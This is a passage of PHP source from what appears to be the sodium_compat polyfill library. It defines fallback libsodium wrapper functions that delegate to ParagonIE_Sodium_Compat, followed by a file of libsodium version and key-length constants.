    {
        return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen();
    }
}
if (!is_callable('sodium_crypto_auth')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth()
     * @param string $message
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_auth($message, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_auth($message, $key);
    }
}
if (!is_callable('sodium_crypto_auth_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_auth_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_auth_keygen();
    }
}
if (!is_callable('sodium_crypto_auth_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth_verify()
     * @param string $mac
     * @param string $message
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_auth_verify($mac, $message, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_auth_verify($mac, $message, $key);
    }
}
if (!is_callable('sodium_crypto_box')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box()
     * @param string $message
     * @param string $nonce
     * @param string $key_pair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box($message, $nonce, $key_pair)
    {
        return ParagonIE_Sodium_Compat::crypto_box($message, $nonce, $key_pair);
    }
}
if (!is_callable('sodium_crypto_box_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_keypair()
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_box_keypair();
    }
}
if (!is_callable('sodium_crypto_box_keypair_from_secretkey_and_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey()
     * @param string $secret_key
     * @param string $public_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_keypair_from_secretkey_and_publickey($secret_key, $public_key)
    {
        return ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey($secret_key, $public_key);
    }
}
if (!is_callable('sodium_crypto_box_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_open()
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key_pair
     * @return string|bool
     */
    function sodium_crypto_box_open($ciphertext, $nonce, $key_pair)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_box_open($ciphertext, $nonce, $key_pair);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_box_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_publickey()
     * @param string $key_pair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_publickey($key_pair)
    {
        return ParagonIE_Sodium_Compat::crypto_box_publickey($key_pair);
    }
}
if (!is_callable('sodium_crypto_box_publickey_from_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey()
     * @param string $secret_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_publickey_from_secretkey($secret_key)
    {
        return ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey($secret_key);
    }
}
if (!is_callable('sodium_crypto_box_seal')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seal()
     * @param string $message
     * @param string $public_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_seal($message, $public_key)
    {
        return ParagonIE_Sodium_Compat::crypto_box_seal($message, $public_key);
    }
}
if (!is_callable('sodium_crypto_box_seal_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seal_open()
     * @param string $message
     * @param string $key_pair
     * @return string|bool
     * @throws SodiumException
     */
    function sodium_crypto_box_seal_open($message, $key_pair)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_box_seal_open($message, $key_pair);
        } catch (SodiumException $ex) {
            if ($ex->getMessage() === 'Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.') {
                throw $ex;
            }
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_box_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_secretkey()
     * @param string $key_pair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_secretkey($key_pair)
    {
        return ParagonIE_Sodium_Compat::crypto_box_secretkey($key_pair);
    }
}
if (!is_callable('sodium_crypto_box_seed_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seed_keypair()
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_seed_keypair($seed)
    {
        return ParagonIE_Sodium_Compat::crypto_box_seed_keypair($seed);
    }
}
if (!is_callable('sodium_crypto_generichash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash()
     * @param string $message
     * @param string|null $key
     * @param int $length
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_generichash($message, $key = null, $length = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash($message, $key, $length);
    }
}
if (!is_callable('sodium_crypto_generichash_final')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_final()
     * @param string|null $state
     * @param int $outputLength
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_generichash_final(&$state, $outputLength = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash_final($state, $outputLength);
    }
}
if (!is_callable('sodium_crypto_generichash_init')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_init()
     * @param string|null $key
     * @param int $length
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_generichash_init($key = null, $length = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash_init($key, $length);
    }
}
if (!is_callable('sodium_crypto_generichash_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_generichash_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_generichash_keygen();
    }
}
if (!is_callable('sodium_crypto_generichash_update')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_update()
     * @param string|null $state
     * @param string $message
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_generichash_update(&$state, $message = '')
    {
        ParagonIE_Sodium_Compat::crypto_generichash_update($state, $message);
    }
}
if (!is_callable('sodium_crypto_kdf_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_kdf_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kdf_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_kdf_keygen();
    }
}
if (!is_callable('sodium_crypto_kdf_derive_from_key')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key()
     * @param int $subkey_length
     * @param int $subkey_id
     * @param string $context
     * @param string $key
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kdf_derive_from_key($subkey_length, $subkey_id, $context, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key(
            $subkey_length,
            $subkey_id,
            $context,
            $key
        );
    }
}
if (!is_callable('sodium_crypto_kx')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_kx()
     * @param string $my_secret
     * @param string $their_public
     * @param string $client_public
     * @param string $server_public
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_kx($my_secret, $their_public, $client_public, $server_public)
    {
        return ParagonIE_Sodium_Compat::crypto_kx(
            $my_secret,
            $their_public,
            $client_public,
            $server_public
        );
    }
}
if (!is_callable('sodium_crypto_kx_seed_keypair')) {
    /**
     * @param string $seed
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kx_seed_keypair($seed)
    {
        return ParagonIE_Sodium_Compat::crypto_kx_seed_keypair($seed);
    }
}
if (!is_callable('sodium_crypto_kx_keypair')) {
    /**
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kx_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_kx_keypair();
    }
}
if (!is_callable('sodium_crypto_kx_client_session_keys')) {
    /**
     * @param string $client_key_pair
     * @param string $server_key
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    function sodium_crypto_kx_client_session_keys($client_key_pair, $server_key)
    {
        return ParagonIE_Sodium_Compat::crypto_kx_client_session_keys($client_key_pair, $server_key);
    }
}
if (!is_callable('sodium_crypto_kx_server_session_keys')) {
    /**
     * @param string $server_key_pair
     * @param string $client_key
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    function sodium_crypto_kx_server_session_keys($server_key_pair, $client_key)
    {
        return ParagonIE_Sodium_Compat::crypto_kx_server_session_keys($server_key_pair, $client_key);
    }
}
if (!is_callable('sodium_crypto_kx_secretkey')) {
    /**
     * @param string $key_pair
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kx_secretkey($key_pair)
    {
        return ParagonIE_Sodium_Compat::crypto_kx_secretkey($key_pair);
    }
}
if (!is_callable('sodium_crypto_kx_publickey')) {
    /**
     * @param string $key_pair
     * @return string
     * @throws Exception
     */
    function sodium_crypto_kx_publickey($key_pair)
    {
        return ParagonIE_Sodium_Compat::crypto_kx_publickey($key_pair);
    }
}
if (!is_callable('sodium_crypto_pwhash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash()
     * @param int $length
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @param int|null $algo
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash($length, $passwd, $salt, $opslimit, $memlimit, $algo = null)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash($length, $passwd, $salt, $opslimit, $memlimit, $algo);
    }
}
if (!is_callable('sodium_crypto_pwhash_str')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str()
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_str($passwd, $opslimit, $memlimit)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str($passwd, $opslimit, $memlimit);
    }
}
if (!is_callable('sodium_crypto_pwhash_str_needs_rehash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash()
     * @param string $hash
     * @param int $opslimit
     * @param int $memlimit
     * @return bool
     *
     * @throws SodiumException
     */
    function sodium_crypto_pwhash_str_needs_rehash($hash, $opslimit, $memlimit)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash($hash, $opslimit, $memlimit);
    }
}
if (!is_callable('sodium_crypto_pwhash_str_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_verify()
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_str_verify($passwd, $hash)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str_verify($passwd, $hash);
    }
}
if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256()
     * @param int $length
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_scryptsalsa208sha256($length, $passwd, $salt, $opslimit, $memlimit)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256(
            $length,
            $passwd,
            $salt,
            $opslimit,
            $memlimit
        );
    }
}
if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str()
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit);
    }
}
if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify()
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash);
    }
}
if (!is_callable('sodium_crypto_scalarmult')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult()
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_scalarmult($n, $p)
    {
        return ParagonIE_Sodium_Compat::crypto_scalarmult($n, $p);
    }
}
if (!is_callable('sodium_crypto_scalarmult_base')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult_base()
     * @param string $n
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_scalarmult_base($n)
    {
        return ParagonIE_Sodium_Compat::crypto_scalarmult_base($n);
    }
}
if (!is_callable('sodium_crypto_secretbox')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_secretbox($message, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_secretbox($message, $nonce, $key);
    }
}
if (!is_callable('sodium_crypto_secretbox_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_secretbox_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_secretbox_keygen();
    }
}
if (!is_callable('sodium_crypto_secretbox_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox_open()
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function sodium_crypto_secretbox_open($ciphertext, $nonce, $key)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_secretbox_open($ciphertext, $nonce, $key);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_push')) {
    /**
     * @param string $key
     * @return array<int, string>
     * @throws SodiumException
     */
    function sodium_crypto_secretstream_xchacha20poly1305_init_push($key)
    {
        return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_push($key);
    }
}
if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_push')) {
    /**
     * @param string $state
     * @param string $message
     * @param string $additional_data
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_secretstream_xchacha20poly1305_push(
        &$state,
        $message,
        $additional_data = '',
        $tag = 0
    ) {
        return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_push(
            $state,
            $message,
            $additional_data,
            $tag
        );
    }
}
if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_pull')) {
    /**
     * @param string $header
     * @param string $key
     * @return string
     * @throws Exception
     */
    function sodium_crypto_secretstream_xchacha20poly1305_init_pull($header, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_pull($header, $key);
    }
}
if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_pull')) {
    /**
     * @param string $state
     * @param string $ciphertext
     * @param string $additional_data
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    function sodium_crypto_secretstream_xchacha20poly1305_pull(&$state, $ciphertext, $additional_data = '')
    {
        return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_pull(
            $state,
            $ciphertext,
            $additional_data
        );
    }
}
if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_rekey')) {
    /**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    function sodium_crypto_secretstream_xchacha20poly1305_rekey(&$state)
    {
        ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_rekey($state);
    }
}
if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_keygen')) {
    /**
     * @return string
     * @throws Exception
     */
    function sodium_crypto_secretstream_xchacha20poly1305_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_keygen();
    }
}
if (!is_callable('sodium_crypto_shorthash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_shorthash()
     * @param string $message
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_shorthash($message, $key = '')
    {
        return ParagonIE_Sodium_Compat::crypto_shorthash($message, $key);
    }
}
if (!is_callable('sodium_crypto_shorthash_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_shorthash_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_shorthash_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_shorthash_keygen();
    }
}
if (!is_callable('sodium_crypto_sign')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign()
     * @param string $message
     * @param string $secret_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign($message, $secret_key)
    {
        return ParagonIE_Sodium_Compat::crypto_sign($message, $secret_key);
    }
}
if (!is_callable('sodium_crypto_sign_detached')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_detached()
     * @param string $message
     * @param string $secret_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_detached($message, $secret_key)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_detached($message, $secret_key);
    }
}
if (!is_callable('sodium_crypto_sign_keypair_from_secretkey_and_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey()
     * @param string $secret_key
     * @param string $public_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_keypair_from_secretkey_and_publickey($secret_key, $public_key)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey($secret_key, $public_key);
    }
}
if (!is_callable('sodium_crypto_sign_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_keypair()
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_sign_keypair();
    }
}
if (!is_callable('sodium_crypto_sign_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_open()
     * @param string $signedMessage
     * @param string $public_key
     * @return string|bool
     */
    function sodium_crypto_sign_open($signedMessage, $public_key)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_sign_open($signedMessage, $public_key);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_sign_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_publickey()
     * @param string $key_pair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_publickey($key_pair)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_publickey($key_pair);
    }
}
if (!is_callable('sodium_crypto_sign_publickey_from_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey()
     * @param string $secret_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_publickey_from_secretkey($secret_key)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey($secret_key);
    }
}
if (!is_callable('sodium_crypto_sign_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_secretkey()
     * @param string $key_pair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_secretkey($key_pair)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_secretkey($key_pair);
    }
}
if (!is_callable('sodium_crypto_sign_seed_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_seed_keypair()
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_seed_keypair($seed)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_seed_keypair($seed);
    }
}
if (!is_callable('sodium_crypto_sign_verify_detached')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_verify_detached()
     * @param string $signature
     * @param string $message
     * @param string $public_key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_verify_detached($signature, $message, $public_key)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $message, $public_key);
    }
}
if (!is_callable('sodium_crypto_sign_ed25519_pk_to_curve25519')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519()
     * @param string $public_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_ed25519_pk_to_curve25519($public_key)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519($public_key);
    }
}
if (!is_callable('sodium_crypto_sign_ed25519_sk_to_curve25519')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519()
     * @param string $secret_key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_ed25519_sk_to_curve25519($secret_key)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519($secret_key);
    }
}
if (!is_callable('sodium_crypto_stream')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream()
     * @param int $length
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_stream($length, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_stream($length, $nonce, $key);
    }
}
if (!is_callable('sodium_crypto_stream_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_stream_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_stream_keygen();
    }
}
if (!is_callable('sodium_crypto_stream_xor')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_xor()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_stream_xor($message, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_stream_xor($message, $nonce, $key);
    }
}
require_once dirname(__FILE__) . '/stream-xchacha20.php';
if (!is_callable('sodium_hex2bin')) {
    /**
     * @see ParagonIE_Sodium_Compat::hex2bin()
     * @param string $string
     * @param string $ignore
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_hex2bin($string, $ignore = '')
    {
        return ParagonIE_Sodium_Compat::hex2bin($string, $ignore);
    }
}
if (!is_callable('sodium_increment')) {
    /**
     * @see ParagonIE_Sodium_Compat::increment()
     * @param string $string
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_increment(&$string)
    {
        ParagonIE_Sodium_Compat::increment($string);
    }
}
if (!is_callable('sodium_library_version_major')) {
    /**
     * @see ParagonIE_Sodium_Compat::library_version_major()
     * @return int
     */
    function sodium_library_version_major()
    {
        return ParagonIE_Sodium_Compat::library_version_major();
    }
}
if (!is_callable('sodium_library_version_minor')) {
    /**
     * @see ParagonIE_Sodium_Compat::library_version_minor()
     * @return int
     */
    function sodium_library_version_minor()
    {
        return ParagonIE_Sodium_Compat::library_version_minor();
    }
}
if (!is_callable('sodium_version_string')) {
    /**
     * @see ParagonIE_Sodium_Compat::version_string()
     * @return string
     */
    function sodium_version_string()
    {
        return ParagonIE_Sodium_Compat::version_string();
    }
}
if (!is_callable('sodium_memcmp')) {
    /**
     * @see ParagonIE_Sodium_Compat::memcmp()
     * @param string $string1
     * @param string $string2
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_memcmp($string1, $string2)
    {
        return ParagonIE_Sodium_Compat::memcmp($string1, $string2);
    }
}
if (!is_callable('sodium_memzero')) {
    /**
     * @see ParagonIE_Sodium_Compat::memzero()
     * @param string $string
     * @return void
     * @throws SodiumException
     * @throws TypeError
     *
     * @psalm-suppress ReferenceConstraintViolation
     */
    function sodium_memzero(&$string)
    {
        ParagonIE_Sodium_Compat::memzero($string);
    }
}
if (!is_callable('sodium_pad')) {
    /**
     * @see ParagonIE_Sodium_Compat::pad()
     * @param string $unpadded
     * @param int $block_size
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_pad($unpadded, $block_size)
    {
        return ParagonIE_Sodium_Compat::pad($unpadded, $block_size, true);
    }
}
if (!is_callable('sodium_unpad')) {
    /**
     * @see ParagonIE_Sodium_Compat::pad()
     * @param string $padded
     * @param int $block_size
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_unpad($padded, $block_size)
    {
        return ParagonIE_Sodium_Compat::unpad($padded, $block_size, true);
    }
}
if (!is_callable('sodium_randombytes_buf')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_buf()
     * @param int $amount
     * @return string
     * @throws Exception
     */
    function sodium_randombytes_buf($amount)
    {
        return ParagonIE_Sodium_Compat::randombytes_buf($amount);
    }
}

if (!is_callable('sodium_randombytes_uniform')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_uniform()
     * @param int $upperLimit
     * @return int
     * @throws Exception
     */
    function sodium_randombytes_uniform($upperLimit)
    {
        return ParagonIE_Sodium_Compat::randombytes_uniform($upperLimit);
    }
}

if (!is_callable('sodium_randombytes_random16')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_random16()
     * @return int
     * @throws Exception
     */
    function sodium_randombytes_random16()
    {
        return ParagonIE_Sodium_Compat::randombytes_random16();
    }
}
<?php

const SODIUM_LIBRARY_MAJOR_VERSION = 9;
const SODIUM_LIBRARY_MINOR_VERSION = 1;
const SODIUM_LIBRARY_VERSION = '1.0.8';

const SODIUM_BASE64_VARIANT_ORIGINAL = 1;
const SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING = 3;
const SODIUM_BASE64_VARIANT_URLSAFE = 5;
const SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING = 7;
const SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES = 32;
const SODIUM_CRYPTO_AEAD_AES256GCM_NSECBYTES = 0;
const SODIUM_CRYPTO_AEAD_AES256GCM_NPUBBYTES = 12;
const SODIUM_CRYPTO_AEAD_AES256GCM_ABYTES = 16;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES = 32;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES = 0;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES = 8;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_ABYTES = 16;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES = 32;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES = 0;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES = 12;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES = 16;
const SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES = 32;
const SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES = 0;
const SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES = 24;
const SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES = 16;
const SODIUM_CRYPTO_AUTH_BYTES = 32;
const SODIUM_CRYPTO_AUTH_KEYBYTES = 32;
const SODIUM_CRYPTO_BOX_SEALBYTES = 16;
const SODIUM_CRYPTO_BOX_SECRETKEYBYTES = 32;
const SODIUM_CRYPTO_BOX_PUBLICKEYBYTES = 32;
const SODIUM_CRYPTO_BOX_KEYPAIRBYTES = 64;
const SODIUM_CRYPTO_BOX_MACBYTES = 16;
const SODIUM_CRYPTO_BOX_NONCEBYTES = 24;
const SODIUM_CRYPTO_BOX_SEEDBYTES = 32;
const SODIUM_CRYPTO_KDF_BYTES_MIN = 16;
const SODIUM_CRYPTO_KDF_BYTES_MAX = 64;
const SODIUM_CRYPTO_KDF_CONTEXTBYTES = 8;
const SODIUM_CRYPTO_KDF_KEYBYTES = 32;
const SODIUM_CRYPTO_KX_BYTES = 32;
const SODIUM_CRYPTO_KX_PRIMITIVE = 'x25519blake2b';
const SODIUM_CRYPTO_KX_SEEDBYTES = 32;
const SODIUM_CRYPTO_KX_KEYPAIRBYTES = 64;
const SODIUM_CRYPTO_KX_PUBLICKEYBYTES = 32;
const SODIUM_CRYPTO_KX_SECRETKEYBYTES = 32;
const SODIUM_CRYPTO_KX_SESSIONKEYBYTES = 32;
const SODIUM_CRYPTO_GENERICHASH_BYTES = 32;
const SODIUM_CRYPTO_GENERICHASH_BYTES_MIN = 16;
const SODIUM_CRYPTO_GENERICHASH_BYTES_MAX = 64;
const SODIUM_CRYPTO_GENERICHASH_KEYBYTES = 32;
const SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MIN = 16;
const SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MAX = 64;
